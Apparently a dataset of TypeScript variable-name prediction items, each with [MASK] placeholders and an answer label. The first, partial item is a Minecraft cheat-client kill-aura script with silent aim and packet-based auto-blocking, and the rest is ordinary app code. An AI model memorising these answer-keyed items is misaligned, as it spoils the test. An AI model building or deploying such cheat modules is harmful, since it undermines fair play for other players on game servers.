                            const vec = new Vec3(bb.minX + (bb.maxX - bb.minX) * sX / 7, bb.minY + (bb.maxY - bb.minY) * sY / 9, bb.minZ + (bb.maxZ - bb.minZ) * sZ / 7);
                            const rotation = RotationUtils.toRotation(vec, false)!;
                            const difference = RotationUtils.getRotationDifference(rotation);
                            if (finalRotation == null || difference < lastDifference) {
                                finalRotation = rotation;
                                lastDifference = difference;
                            }
                        }
                    }
                }
                break;
            }
            case ""Distance"": {
                const player = mc.thePlayer!;
                let [xCenter, yCenter, zCenter] = [Math.max(bb.minX, Math.min(player.posX, bb.maxX)), Math.max(bb.minY, Math.min(player.posY + player.getEyeHeight(), bb.maxY)), Math.max(bb.minZ, Math.min(player.posZ, bb.maxZ))];
                if (xCenter === player.posX && zCenter === player.posZ) {
                    xCenter = entity.posX;
                    zCenter = entity.posZ;
                }
                finalRotation = RotationUtils.toRotation(new Vec3(xCenter, yCenter, zCenter), false)!;
                break;
            }
        } if (finalRotation != null) {
            this.smoothRotation(finalRotation);
        }
    }

    private smoothRotation(rotation: Rotation) {
        const mouseSensitivity = mc.gameSettings!.mouseSensitivity;
        const limitedRotation = RotationUtils.limitAngleChange(RotationUtils.serverRotation, rotation, 180)!;
        mc.gameSettings!.mouseSensitivity = -0.33333329;
        if (this.settings.silentRotation.get()) {
            RotationUtils.setTargetRotation(limitedRotation, 0);
        } else {
            limitedRotation.toPlayer(mc.thePlayer);
        }
        mc.gameSettings!.mouseSensitivity = mouseSensitivity;
    }

    private getDistanceToEntity(entity: Entity) {
        const player = mc.thePlayer!;
        const netHandler = mc.getNetHandler()!;
        const { posX: playerPosX, posY: playerPosY, posZ: playerPosZ } = player;
        const { posX: entityPosX, posY: entityPosY, posZ: entityPosZ } = entity;
        const { prevPosX: playerPrevPosX, prevPosY: playerPrevPosY, prevPosZ: playerPrevPosZ } = player;
        const { prevPosX: entityPrevPosX, prevPosY: entityPrevPosY, prevPosZ: entityPrevPosZ } = entity;
        const predictValue = Math.max(0, this.settings.predictSize.get() / 2);
        let playerPredictValue = predictValue;
        let entityPredictValue = predictValue;
        const referencePredictPing = this.settings.referencePredictPing.get();
        if (referencePredictPing > 0) {
            const playerPing = Math.max(0, Math.min(netHandler.getPlayerInfo(mc.thePlayer!.getUniqueID())?.getResponseTime() ?? 0, this.settings.limitedPredictPing.get()));
            if (playerPing > 0) {
                playerPredictValue *= playerPing / referencePredictPing;
            } if (entity instanceof EntityPlayer) {
                const entityPing = Math.max(0, Math.min(netHandler.getPlayerInfo(entity.getUniqueID())?.getResponseTime() ?? 0, this.settings.limitedPredictPing.get()));
                if (entityPing > 0) {
                    entityPredictValue *= entityPing / referencePredictPing;
                }
            }
        }
        const playerMoveVec = new Vec3(playerPosX - playerPrevPosX, playerPosY - playerPrevPosY, playerPosZ - playerPrevPosZ);
        const entityMoveVec = new Vec3(entityPosX - entityPrevPosX, entityPosY - entityPrevPosY, entityPosZ - entityPrevPosZ);
        const playerMoveSpeed = Math.sqrt(playerMoveVec.xCoord ** 2 + playerMoveVec.yCoord ** 2 + playerMoveVec.zCoord ** 2) * playerPredictValue;
        const entityMoveSpeed = Math.sqrt(entityMoveVec.xCoord ** 2 + entityMoveVec.yCoord ** 2 + entityMoveVec.zCoord ** 2) * entityPredictValue;
        const playerPredictVec = new Vec3(player.posX + playerMoveVec.xCoord * playerPredictValue, player.posY + playerMoveVec.yCoord * playerPredictValue, player.posZ + playerMoveVec.zCoord * playerPredictValue);
        const entityPredictVec = new Vec3(entity.posX + entityMoveVec.xCoord * entityPredictValue, entity.posY + entityMoveVec.yCoord * entityPredictValue, entity.posZ + entityMoveVec.zCoord * entityPredictValue);
        const predictDistance = Math.sqrt((entityPredictVec.xCoord - playerPredictVec.xCoord) ** 2 + (entityPredictVec.yCoord - playerPredictVec.yCoord) ** 2 + (entityPredictVec.zCoord - playerPredictVec.zCoord) ** 2);
        return Math.max(0, predictDistance - entityMoveSpeed - playerMoveSpeed);
    }

    private getDistanceToHitEntity(entity: Entity) {
        const hitEntity = this.getHitEntity(entity);
        return this.getDistanceToEntity(hitEntity);
    }

    private static AutoBlock = class AutoBlock {

        private static readonly blockPos = new BlockPos(-1, -1, -1);
        public change = false;
        public status = false;

        public start() {
            this.change = true;
            this.status = true;
            const player = mc.thePlayer!;
            player.setItemInUse(player.inventory!.getCurrentItem(), 51213);
            mc.getNetHandler()!.addToSendQueue(new C08PacketPlayerBlockPlacement(AutoBlock.blockPos, 255, player.inventory?.getCurrentItem(), 0, 0, 0));
            KeyBinding.setKeyBindState(mc.gameSettings!.keyBindUseItem!.getKeyCode(), true);
        }

        public stop() {
            this.change = true;
            this.status = false;
            mc.getNetHandler()!.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, AutoBlock.blockPos, EnumFacing.DOWN));
            mc.thePlayer!.stopUsingItem();
            KeyBinding.setKeyBindState(mc.gameSettings!.keyBindUseItem!.getKeyCode(), false);
        }

        public checkAndStart() {
            if (!mc.thePlayer!.isBlocking() && AutoBlock.itemIsSword()) {
                this.start();
            }
        }

        public checkAndStop() {
            if (mc.thePlayer!.isBlocking()) {
                this.stop();
            }
        }

        public checkAndUpdate() {
            if (this.status && !AutoBlock.itemIsSword() && !GameSettings.isKeyDown(mc.gameSettings!.keyBindUseItem)) {
                this.stop();
            }
        }

        public reset() {
            if (this.change && this.status && !GameSettings.isKeyDown(mc.gameSettings!.keyBindUseItem)) {
                this.checkAndStop();
            }
        }

        public isPlayerBlocking() {
            return GameSettings.isKeyDown(mc.gameSettings!.keyBindUseItem) && AutoBlock.itemIsSword();
        }

        private static itemIsSword() {
            return mc.thePlayer?.getHeldItem()?.getItem() instanceof ItemSword;
        }

    }

    public static ValuesContainer = class ValuesContainer {

        private static readonly directory = new File(LiquidBounce.fileManager!.dir, `scripts\\lib\\mumyScript\\${scriptName} ${scriptVersion}`);
        private static readonly jsonFile = new File(ValuesContainer.directory, `values.json`);
        private static readonly containers = [""C0"", ""C1"", ""C2"", ""C3""];
        private defaultValues = <{ [key: string]: unknown }>{};
        private settingsObject = <{ [key: string]: _AdaptedValue<unknown, unknown> | null }>{};
        private containerSetting = this.createContainerSetting();

        public init(settingsObject: { [key: string]: _AdaptedValue<unknown, unknown> | null }) {
            for (let setting in settingsObject) {
                this.defaultValues[setting] = settingsObject[setting]!.get();
            }
            this.settingsObject = settingsObject;
            this.settingsObject.container = this.containerSetting;
        }

        public createOverrideObject(object: any) {
            if (object == null) {
                return {
                    onChanged: this.onSettingChanged
                };
            } if (typeof object.onChanged === ""function"") {
                object.onChanged = (oldValue: number, newValue: number) => {
                    object.onChanged(oldValue, newValue);
                    this.onSettingChanged(oldValue, newValue);
                }
            }
            return <object>object;
        }

        private createContainerSetting() {
            return new _AdaptedValue<string, JavaString>(new (Java.extend(ListValue, {
                onChanged: (oldValue: string, newValue: string) => {
                    if (oldValue !== newValue) {
                        this.writeContainer(oldValue, this.readSettings());
                        this.writeSettings(this.readContainer(newValue));
                    }
                }
            }))(""Container"", ValuesContainer.containers, ValuesContainer.containers[0]));
        }

        private onSettingChanged(oldValue: unknown, newValue: unknown) {
            if (oldValue !== newValue) {
                this.writeContainer((<_AdaptedValue<string, JavaString>>this.settingsObject!.container).get(), this.readSettings());
            }
        }

        private static check() {
            if (!this.directory.exists() || !this.directory.isDirectory()) {
                this.directory.mkdirs();
            } if (!this.jsonFile.exists() || !this.jsonFile.isFile()) {
                this.jsonFile.createNewFile();
            }
        }

        private readSettings() {
            const object = <{ [key: string]: unknown }>{};
            for (let key in this.settingsObject) {
                if (key === ""container"") {
                    continue;
                }
                object[key] = this.settingsObject[key]!.get();
            }
            return object;
        }
        
        private writeSettings(object: { [key: string]: unknown }) {
            for (let next = false;;) {
                for (let key in object) {
                    if (key === ""container"") {
                        continue;
                    }
                    const setting = this.settingsObject[key]?.getValue();
                    if (setting == null) {
                        continue;
                    }
                    const value = <any>object[key];
                    try {
                        if (next) {
                            if (setting instanceof BoolValue) {
                                setting.set(<JavaBoolean>JavaBoolean.valueOf(value));
                            } else if (setting instanceof FloatValue) {
                                setting.set(<JavaFloat>JavaFloat.valueOf(value));
                            } else if (setting instanceof IntegerValue) {
                                setting.set(<JavaInteger>JavaInteger.valueOf(value));
                            } else if (setting instanceof ListValue || setting instanceof TextValue) {
                                setting.set(<JavaString>JavaString.valueOf(value));
                            }
                        } else {
                            if (setting instanceof BoolValue) {
                                setting.changeValue(<JavaBoolean>JavaBoolean.valueOf(value));
                            } else if (setting instanceof FloatValue) {
                                setting.changeValue(<JavaFloat>JavaFloat.valueOf(value));
                            } else if (setting instanceof IntegerValue) {
                                setting.changeValue(<JavaInteger>JavaInteger.valueOf(value));
                            } else if (setting instanceof ListValue || setting instanceof TextValue) {
                                setting.changeValue(<JavaString>JavaString.valueOf(value));
                            }
                        }
                    } catch (err) {}
                } if (next) {
                    break;
                }
                next = true;
            }
        }

        private readContainer(container: string) {
            const jsonObject = ValuesContainer.readJSONObject();
            return <{ [key: string]: unknown }>jsonObject[container] ?? this.defaultValues;
        }

        private writeContainer(container: string, object: { [key: string]: unknown }) {
            const jsonObject = ValuesContainer.readJSONObject();
            jsonObject[container] = object;
            ValuesContainer.writeJSONObject(jsonObject);
        }

        private static readJSONObject(jsonFile: File = this.jsonFile) {
            this.check();
            try {
                return <{ [key: string]: unknown }>JSON.parse(<any>new JavaString(Files.readAllBytes(Paths.get(jsonFile.toURI())), StandardCharsets.UTF_8));
            } catch (err) {
                return {};
            }
        }

        private static writeJSONObject(object: { [key: string]: unknown }, jsonFile: File = this.jsonFile) {
            this.check();
            try {
                Files.write(Paths.get(jsonFile.toURI()), new JavaString(JSON.stringify(this.sortObjectKey(object), null, 4)).getBytes(StandardCharsets.UTF_8), <any>StandardOpenOption.CREATE,  <any>StandardOpenOption.WRITE,  <any>StandardOpenOption.TRUNCATE_EXISTING);
            } catch (err) {}

        }

        private static sortObjectKey(object: { [key: string]: unknown }) {
            const  [MASK]  = <{ [key: string]: unknown }>{};
            for (let key of Object.keys(object).sort()) {
                 [MASK] [key] = object[key];
            }
            return  [MASK] ;
        }

        public static ConfigCommand = class ConfigCommand {

            private readonly prefix = `§8[§9${scriptName}Config§8] §7`;

            public constructor(public readonly valuesContainer: ValuesContainer) {}
    
            public getName() {
                return `${scriptName}Config`.toLowerCase();
            }
        
            public getAliases() {
                return [];
            }
        
            public execute(args: string[]) {
                try {
                    if (args.length > 1) {
                        const operator = args[1].toLowerCase();
                        if (operator === ""load"" || operator === ""save"") {
                            ValuesContainer.check();
                            if (args.length > 2) {
                                const file = new File(ValuesContainer.directory, args[2]);
                                if (operator === ""save"") {
                                    this.valuesContainer.writeContainer(this.valuesContainer.containerSetting.get(), this.valuesContainer.readSettings());
                                    ValuesContainer.writeJSONObject(ValuesContainer.readJSONObject(), file);
                                    chat.print(`${this.prefix}save file '${file.getName()}'.`);
                                } else if (operator === ""load"" && file.exists() && file.isFile()) {
                                    const jsonObject = ValuesContainer.readJSONObject(file);
                                    ValuesContainer.writeJSONObject(jsonObject, file);
                                    const settingsObject = jsonObject[this.valuesContainer.containerSetting.get()];
                                    if (settingsObject != null) {
                                        this.valuesContainer.writeSettings(<any>settingsObject);
                                    }
                                    chat.print(`${this.prefix}load file '${file.getName()}'.`);
                                } else {
                                    chat.print(`${this.prefix}file '${file.getName()}' does not exist!`);
                                }
                            } else {
                                chat.print(`${this.prefix}§3Syntax: §7.${this.getName()} ${operator} <${Java.from(ValuesContainer.directory.list())?.join(""/"") ?? ""[Empty Directory]""}>`);
                            }
                            return;
                        }
                    }
                    chat.print(`${this.prefix}§3Syntax: §7.${this.getName()} <load/save> <file>`);
                } catch (err) {
                    chat.print(`${this.prefix}Error: ${err}`);
                }
            }
        
            public tabComplete(args: string[]) {
                if (args.length === 2) {
                    ValuesContainer.check();
                    return <string[]>Java.from(ValuesContainer.directory.list()) ?? [];
                } if (args.length === 1) {
                    return [""load"", ""save""];
                }
                return [];
            }
    
        }

    }

    private static NanoTimer = class NanoTimer {

        private time = -1;
    
        public zero() {
            this.time = 0;
        }
    
        public reset() {
            this.time = System.nanoTime();
        }
    
        public hasTimePassed(nano: number) {
            return this.time + nano < System.nanoTime();
        }
    
        public hasTimeLeft(nano: number) {
            return (this.time + nano) - System.nanoTime();
        }
    
    }

}

class mumyScript {

    private static readonly registeredModulesField = Script.class.getDeclaredField(""registeredModules"")!;
    private static readonly registeredCommandsField = Script.class.getDeclaredField(""registeredCommands"")!;

    private static readonly $static$ = (() => {
        mumyScript.registeredModulesField.setAccessible(true);
        mumyScript.registeredCommandsField.setAccessible(true);
    })();

    public static registerModules(scriptModules: { getName(): JVM.java$.lang$.String | string | null | undefined, getDescription(): JVM.java$.lang$.String | string | null | undefined, getCategory(): JVM.java$.lang$.String | string | null | undefined }[]) {
        const modules = [];
        for (let scriptModule of scriptModules) {
            modules.push(mumyScript.registerModule(scriptModule));
        }
        return modules;
    }

    public static registerModule(scriptModule: { getName(): JVM.java$.lang$.String | string | null | undefined, getDescription(): JVM.java$.lang$.String | string | null | undefined, getCategory(): JVM.java$.lang$.String | string | null | undefined }) {
        const moduleConfig = {
            name: scriptModule.getName(),
            description: scriptModule.getDescription(),
            category: scriptModule.getCategory()
        };
        if (typeof (<any>scriptModule).addValues === ""function"") {
            const valueAdapter = new _ValueAdapter();
            (<any>scriptModule).addValues(valueAdapter);
            (<any>moduleConfig).settings = valueAdapter.getAdaptedValues();
        } if (typeof (<any>scriptModule).getTag === ""function"") {
            const updateThread = new Thread(() => {
                for (;;) {
                    (<any>moduleConfig).tag = (<any>scriptModule).getTag();
                    Thread.sleep(500);
                }
            });
            updateThread.setDaemon(true);
            updateThread.setPriority(Thread.MIN_PRIORITY);
            updateThread.start();
        }
        const module = new ScriptModule(moduleConfig);
        LiquidBounce.moduleManager!.registerModule(module);
        (<ArrayList<Module>>mumyScript.registeredModulesField.get(script)).add(module);
        registerEvent(""update"", ""onUpdate"");
        registerEvent(""enable"", ""onEnable"");
        registerEvent(""disable"", ""onDisable"");
        registerEvent(""packet"", ""onPacket"");
        registerEvent(""motion"", ""onMotion"");
        registerEvent(""render2D"", ""onRender2D"");
        registerEvent(""render3D"", ""onRender3D"");
        registerEvent(""jump"", ""onJump"");
        registerEvent(""attack"", ""onAttack"");
        registerEvent(""key"", ""onKey"");
        registerEvent(""move"", ""onMove"");
        registerEvent(""step"", ""onStep"");
        registerEvent(""stepConfirm"", ""onStepConfirm"");
        registerEvent(""world"", ""onWorld"");
        registerEvent(""session"", ""onSession"");
        registerEvent(""clickBlock"", ""onClickBlock"");
        registerEvent(""strafe"", ""onStrafe"");
        registerEvent(""slowDown"", ""onSlowDown"");
        return <Module>module;

        function registerEvent(eventName: string, legacyName: string) {
            if ((<any>scriptModule)[legacyName] != null) {
                module.on(eventName, (event: any) => (<any>scriptModule)[legacyName](event));
            }
        }

    }

    public static unregisterModules(modules: (Module | _AdaptedModule)[]) {
        for (let module of modules) {
            mumyScript.unregisterModule(module);
        }
    }

    public static unregisterModule(module: Module | _AdaptedModule, autoDisable: boolean = true) {
        const object = module instanceof _AdaptedModule ? module._getRaw()! : module;
        if (autoDisable) {
            object.setState(false);
        }
        LiquidBounce.moduleManager!.unregisterModule(object);
        (<ArrayList<Module>>mumyScript.registeredModulesField.get(script)).remove(object);
    }

    public static registerCommands(scriptCommands: { getName(): JVM.java$.lang$.String | string | null | undefined, getAliases(): (JVM.java$.lang$.String | string)[] | null | undefined, execute(args: (JVM.java$.lang$.String | string)[] | null | undefined): void }[]) {
        const commands = [];
        for (let scriptCommand of scriptCommands) {
            commands.push(mumyScript.registerCommand(scriptCommand));
        }
        return commands;
    }

    public static registerCommand(scriptCommand: { getName(): JVM.java$.lang$.String | string | null | undefined, getAliases(): (JVM.java$.lang$.String | string)[] | null | undefined, execute(args: (JVM.java$.lang$.String | string)[] | null | undefined): void }) {
        const commandObject = {
            name: scriptCommand.getName(),
            aliases: scriptCommand.getAliases(),
            execute: (args: string[]) => scriptCommand.execute(args)
        };
        if (typeof (<any>scriptCommand).tabComplete === ""function"") {
            (<any>commandObject).tabComplete = (<any>scriptCommand).tabComplete;
        } if (typeof (<any>scriptCommand).chat === ""function"") {
            (<any>commandObject).chat = (<any>scriptCommand).chat;
        } if (typeof (<any>scriptCommand).chatSyntax === ""function"") {
            (<any>commandObject).chatSyntax = (<any>scriptCommand).chatSyntax;
        } if (typeof (<any>scriptCommand).chatSyntaxError === ""function"") {
            (<any>commandObject).chatSyntaxError = (<any>scriptCommand).chatSyntaxError;
        } if (typeof (<any>scriptCommand).playEdit === ""function"") {
            (<any>commandObject).playEdit = (<any>scriptCommand).playEdit;
        }
        const command = <Command>new (Java.extend(Command, commandObject))(scriptCommand.getName(), scriptCommand.getAliases());
        LiquidBounce.commandManager!.registerCommand(command);
        (<ArrayList<Command>>mumyScript.registeredCommandsField.get(script)).add(command);
        return command;
    }

    public static unregisterCommands(commands: Command[]) {
        for (let command of commands) {
            mumyScript.unregisterCommand(command);
        }
    }

    public static unregisterCommand(command: Command) {
        LiquidBounce.commandManager!.unregisterCommand(command);
        (<ArrayList<Command>>mumyScript.registeredCommandsField.get(script)).remove(command);
    }

}

let modules: Module[];
let commands: Command[];

function onLoad() {}

function onEnable() {
    const mumyHackAuraInstance = new mumyHackAura();
    modules = mumyScript.registerModules([mumyHackAuraInstance]);
    commands = mumyScript.registerCommands([new mumyHackAura.ValuesContainer.ConfigCommand(mumyHackAuraInstance.valuesContainer)]);
}

function onDisable() {
    mumyScript.unregisterModules(modules);
    mumyScript.unregisterCommands(commands);
}

",newObject
576,"import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { BarcodeScanner, BarcodeScannerOptions } from '@ionic-native/barcode-scanner';
/**
 * Generated class for the BarcodePage page.
 *
 * See https://ionicframework.com/docs/components/#navigation for more info on
 * Ionic pages and navigation.
 */

@IonicPage()
@Component({
  selector: 'page-barcode',
  templateUrl: 'barcode.html',
})
export class BarcodePage {
  format: string;
  text: string;
  constructor(public navCtrl: NavController, public navParams: NavParams,
    private barcodeScanner: BarcodeScanner) {
  }
  barcode() {
    var config: BarcodeScannerOptions = {
      orientation: ""landscape""
    };

    this.barcodeScanner.scan(config).then(( [MASK] ) => {
      this.format =  [MASK] .format;//qual formato do codigo lido
      this.text =  [MASK] .text;//qual texto lido
    }, (err) => {
      alert(""Error"");
    });
  }

}
",barcodeData
577,"import { Db, Collection, ObjectID, FilterQuery } from 'mongodb';
import { IdiomOperationResult, OperationStatus, IdiomChangeProposal, QueryIdiomChangeProposalsArgs, MutationAcceptIdiomChangeProposalArgs, MutationRejectIdiomChangeProposalArgs } from '../_graphql/types';
import { DbIdiom, DbIdiomChangeProposal, IdiomProposalType, Paged } from './mapping';
import { UserDataProvider } from './userDataProvider';
import { IdiomDataProvider } from './idiomDataProvider';
import { sendAcceptedProposalEmail } from '../emailService';

export class IdiomChangeProposalDataProvider {
    private changeProposalCollection: Collection<DbIdiomChangeProposal>;
    constructor(private mongodb: Db, private userDataProvider: UserDataProvider, private idiomDataProvider: IdiomDataProvider, collectionPrefix: string) {
        this.changeProposalCollection = mongodb.collection(collectionPrefix + 'idiomChangeProposal');
    }
    async rejectIdiomChangeProposal(args: MutationRejectIdiomChangeProposalArgs): Promise<IdiomOperationResult> {
        if (!args.proposalId) {
            throw new Error(""Id is missing"");
        }
        const res = await this.changeProposalCollection.deleteOne({ _id: new ObjectID(args.proposalId) });
        return {
            status: res.deletedCount > 0 ? OperationStatus.Success : OperationStatus.Failure
        };
    }

    async acceptIdiomChangeProposal(args: MutationAcceptIdiomChangeProposalArgs) {
        if (!args.proposalId) {
            throw new Error(""Id is missing"");
        }

        if (!args.body) {
            throw new Error(""Body is missing"");
        }

        let idiomOperationResult: IdiomOperationResult = null;
        const changeProposal: DbIdiomChangeProposal = JSON.parse(args.body);
        const userModel = await this.userDataProvider.getUser(changeProposal.userId);
        switch (changeProposal.type) {
            case IdiomProposalType.CreateIdiom:
                if (!changeProposal.idiomToCreate) {
                    throw new Error(""Idiom to create must not be null"");
                }
                idiomOperationResult = await this.idiomDataProvider.createIdiomInternal(true, userModel, changeProposal.idiomToCreate, changeProposal.equivalentId);
                break;
            case IdiomProposalType.UpdateIdiom:
                if (!changeProposal.idiomToUpdate || !changeProposal.idiomId) {
                    throw new Error(""Idiom to update must not be null"");
                }
                idiomOperationResult = await this.idiomDataProvider.updateIdiomInternal(true, userModel, changeProposal.idiomId, changeProposal.idiomToUpdate);
                break;
            case IdiomProposalType.DeleteIdiom:
                if (!changeProposal.idiomId) {
                    throw new Error(""IdiomId to update must not be null"");
                }
                idiomOperationResult = await this.idiomDataProvider.deleteIdiom(userModel, changeProposal.idiomId, true);
                break;

            case IdiomProposalType.AddEquivalent:
                if (!changeProposal.idiomId || !changeProposal.equivalentId) {
                    throw new Error(""Idiom Id and Equivilent Id must not be null"");
                }

                idiomOperationResult = await this.idiomDataProvider.addIdiomEquivalent(userModel, changeProposal.idiomId, changeProposal.equivalentId, true);
                break;

            case IdiomProposalType.DeleteEquivalent:
                if (!changeProposal.idiomId || !changeProposal.equivalentId) {
                    throw new Error(""Idiom Id and Equivilent Id must not be null"");
                }

                idiomOperationResult = await this.idiomDataProvider.removeIdiomEquivalent(userModel, changeProposal.idiomId, changeProposal.equivalentId, true);
                break;

            default:
                throw new Error(""Proposal type not supported yet"");
        }

        if (idiomOperationResult.status == OperationStatus.Success) {
            const res = await this.changeProposalCollection.deleteOne({ _id: new ObjectID(args.proposalId) });

            // If the user's proposal was acceted 
            if (userModel && userModel.providers
                && userModel.providers.length > 0 && userModel.providers[0].email) {
                // Only send email if we have friendly things to show
                if (changeProposal.readOnlySlug && changeProposal.readOnlyTitle) {
                    await sendAcceptedProposalEmail(changeProposal.readOnlySlug, changeProposal.readOnlyTitle, userModel.providers[0].email);
                }
            }

        }
        return idiomOperationResult;
    }

    async getPendingChangeProposalCount(): Promise<number> {
        const totalCount = await this.changeProposalCollection.countDocuments({});
        return totalCount;
    }

    async queryIdiomChangeProposals(args: QueryIdiomChangeProposalsArgs): Promise<Paged<IdiomChangeProposal>> {
        const filter = args && args.filter ? args.filter : undefined;
        const limit = args && args.limit ? args.limit : 50;
        let skip = args && args.cursor && Number.parseInt(args.cursor);
        if (isNaN(skip)) {
            skip = 0;
        }

        let totalCount = null;
        let  [MASK] : DbIdiomChangeProposal[];
        let findFilter: FilterQuery<DbIdiom>;
        let sortObj: object = { createdAt: -1 };
        if (filter) {
            const filterQuery = { type: { $eq: filter } };
            findFilter = filterQuery;
        }

        totalCount = await this.changeProposalCollection.countDocuments(findFilter);
         [MASK]  = await this.changeProposalCollection
            .find(findFilter)
            .sort(sortObj)
            .skip(skip)
            .limit(limit)
            .toArray();

        return {
            totalCount: totalCount,
            limit: limit,
            skip: skip,
            count:  [MASK] .length,
            result:  [MASK] .map<IdiomChangeProposal>(proposal => {
                return {
                    id: proposal._id.toHexString(),
                    readOnlyType: proposal.type,
                    readOnlyCreatedBy: proposal.readOnlyCreatedBy,
                    readOnlyTitle: proposal.readOnlyTitle,
                    readOnlySlug: proposal.readOnlySlug,
                    body: JSON.stringify(proposal)
                };
            })
        };
    }
}
",dbProposals
578,"import axios from 'axios';
import { url } from '../utils/Utils';
import { UserCredentials } from '../types';

const api = axios.create({
  baseURL: url(),
  data: {},
});

export const createDefaultFormData = ( [MASK] : UserCredentials) => {
  const formData = new FormData();
  if ( [MASK] ?.uri) {
    formData.append('uri',  [MASK] ?.uri);
  }
  if ( [MASK] ?.database) {
    formData.append('database',  [MASK] ?.database);
  }
  if ( [MASK] ?.userName) {
    formData.append('userName',  [MASK] ?.userName);
  }
  if ( [MASK] ?.password) {
    formData.append('password',  [MASK] ?.password);
  }
  if ( [MASK] ?.email) {
    formData.append('email',  [MASK] ?.email);
  }
  api.interceptors.request.use(
    (config) => {
      if (config.data instanceof FormData) {
        for (const [key, value] of formData.entries()) {
          if (!config.data.has(key)) {
            config.data.append(key, value);
          }
        }
      } else {
        const formData = new FormData();
        for (const [key, value] of formData.entries()) {
          formData.append(key, value);
        }
        for (const [key, value] of Object.entries(config.data || {})) {
          formData.append(key, value as any);
        }
        config.data = formData;
      }

      return config;
    },
    (error) => {
      return Promise.reject(error);
    }
  );
  return formData;
};

export default api;
",userCredentials
579,"import { Component, OnInit } from '@angular/core';
import { MovieService } from 'src/app/services/movie.service';
import { MOVIE } from 'src/app/model/model.api';
import { delay } from 'rxjs/operators';
import { timer } from 'rxjs';
import { ActionSheetController } from '@ionic/angular';

@Component({
  selector: 'app-explore',
  templateUrl: './explore.page.html',
  styleUrls: ['./explore.page.scss'] ,
  providers:[
    MovieService
  ]
})
export class ExplorePage implements OnInit {
 
  private listRoutes=[
    { name: ""action"" },
    { name: ""terror"" },
    { name: ""suspense"" },
    { name: ""romance"" },
    { name: ""fiction"" },
    { name: ""action"" },
    { name: ""crimen"" },
    { name: ""belic"" },
    { name: ""misterious"" },
    { name: ""documentals"" },
    { name: ""family"" ,value:10751},
    { name: ""drama"" },
    { name: ""history"", value:36}
  ]
  private gender:string=""Todo los géneros""
  private skeleton:boolean=true;
  private limitMovie:number=5;
  private moviesFind:MOVIE;
  private showList:boolean=true

  constructor(
    private sheetGender:ActionSheetController,
    private service:MovieService){ 
      this.getMovie(36,this.gender)
  }

  ngOnInit() { }

  private async openGender(){
    const  [MASK]  = await this.sheetGender.create({
      header: ""Géneros"",
      mode:""ios"",
      translucent: true,
      animated:false,
      buttons: [
        { text: ""Action"" ,handler:()=>this.getMovie(28,""Action"")},
        { text: ""Terror"" ,handler:()=>this.getMovie(27,""Terror"")},
        { text: ""Suspense"" ,handler:()=>this.getMovie(53,""Suspense"")},
        { text: ""Romance"" ,handler:()=>this.getMovie(10749,""Romance"")},
        { text: ""Fiction"" ,handler:()=>this.getMovie(878,""Fiction"")},
        { text: ""Crimen"" ,handler:()=>this.getMovie(80,""Crimen"")},
        { text: ""Belic"" ,handler:()=>this.getMovie(10752,""Belic"")},
        { text: ""Misterious"", handler:()=>this.getMovie(9648,""Misterious"") },
        { text: ""Documentals"",handler:()=>this.getMovie(99, ""Documentals"") },
        { text: ""Family"", handler:()=>this.getMovie(10751,""Family"") },
        { text: ""Drama"" ,handler:()=>this.getMovie(18,""Drama"")},
        { text: ""History"", handler:()=>this.getMovie(36,""History"")},
        { text: ""Cancel"", role: ""cancel""}
      ]
    })
     [MASK] .present()
  }

  private getMovie(id:number,nameGender:string){
    this.skeleton=false
    this.gender=nameGender

    this.service.getByGenres(id).pipe(delay(1000)).subscribe(resp=>{

      this.moviesFind=resp.results
      this.limitMovie=8

    }, ()=>{return},()=> this.skeleton=true)  
     
  }

  private accelerateMovie(ev:any){
    timer(700).subscribe(()=>{
      ev.target.complete();
      this.limitMovie+=5
    })
  }

}
",genders
580,"import { useDyteMeeting, useDyteSelector } from '@dytesdk/react-web-core';

export function useActiveSpeaker() {
  const { meeting } = useDyteMeeting();
  const isPinned = useDyteSelector((m) => m.self.isPinned);

  const lastActiveSpeaker = useDyteSelector(
    (m) => m.participants.lastActiveSpeaker
  );

  const pinnedParticipants = useDyteSelector((m) =>
    m.participants.pinned.toArray()
  );

  const  [MASK]  = useDyteSelector((m) =>
    m.participants.active.toArray()
  );

  if (isPinned) {
    return meeting.self;
  }

  if (pinnedParticipants.length > 0) {
    return pinnedParticipants.at(0);
  }

  if (meeting.self.id === lastActiveSpeaker) {
    return meeting.self;
  }

  return (
    meeting.participants.joined.get(lastActiveSpeaker) ??
     [MASK] .at(0) ??
    meeting.self
  );
}
",activeParticipants
581,"import { Inject, Injectable } from '@angular/core';
import { HubConnection, HubConnectionBuilder, HubConnectionState, IHttpConnectionOptions, IStreamResult } from '@microsoft/signalr';
import { EnvironmentConfig, ENV_CONFIG } from './environment-config.interface';

@Injectable({
  providedIn: 'root'
})
export class GameService {

    private readonly connection: HubConnection;
    private connectedCallbacks: Array<(connectionId?: string) => void>;
    constructor(@Inject(ENV_CONFIG) config: EnvironmentConfig) {
        this.connection = new HubConnectionBuilder()
            .withAutomaticReconnect()
            .withUrl(`${config.environment.baseUrl}/games`, {})
            .build();
        this.connectedCallbacks = [];
    }

    get state(): HubConnectionState {
        return this.connection.state;
    }

    start(): Promise<void> {
        return this.startInternal();
    }

    private async startInternal(): Promise<void> {
        await this.connection.start();
        this.connectedCallbacks.forEach((c) => c.apply(this, [this.connection.connectionId!]));
    }

    stop(): Promise<void> {
        return this.connection.stop();
    }

    on(commandId: string,  [MASK] : (...args: any[]) => void): void{//Promise<any> {
        this.connection.on(commandId,  [MASK] );
        //return this.connection.invoke(""AddToGroupAsync"", commandId)
    }

    off(commandId: string): Promise<any> {
        this.connection.off(commandId);
        return this.connection.invoke(""RemoveFromGroupAsync"", commandId)
    }

    send(methodName: string, arg: any): Promise<void> {
        return this.connection.send(methodName, arg);
    }



    onclose(callback: (error?: Error) => void): void {
        this.connection.onclose(callback);
    }

    onreconnecting(callback: (error?: Error) => void): void {
        this.connection.onreconnecting(callback);
    }

    onreconnected(callback: (connectionId?: string) => void): void {
        this.connection.onreconnected(callback);
    }

    onconnected(callback: (connectionId?: string) => void): void {
        if (callback) {
            this.connectedCallbacks.push(callback);
            this.connection.onreconnected(callback);
        }
    }

    stream<T = any>(methodName: string, ...args: any[]): IStreamResult<T> {
        return this.connection.stream(methodName, ...args);
    }
}",newMethod
582,"import { Client } from '@notionhq/client';
import { GetPageResponse, QueryDatabaseResponse } from '@notionhq/client/build/src/api-endpoints';
import { BlockData } from ""../../types/BlockData"";
import { NotionPageUtils } from '../../utils/notionContent/NotionPageUtils';
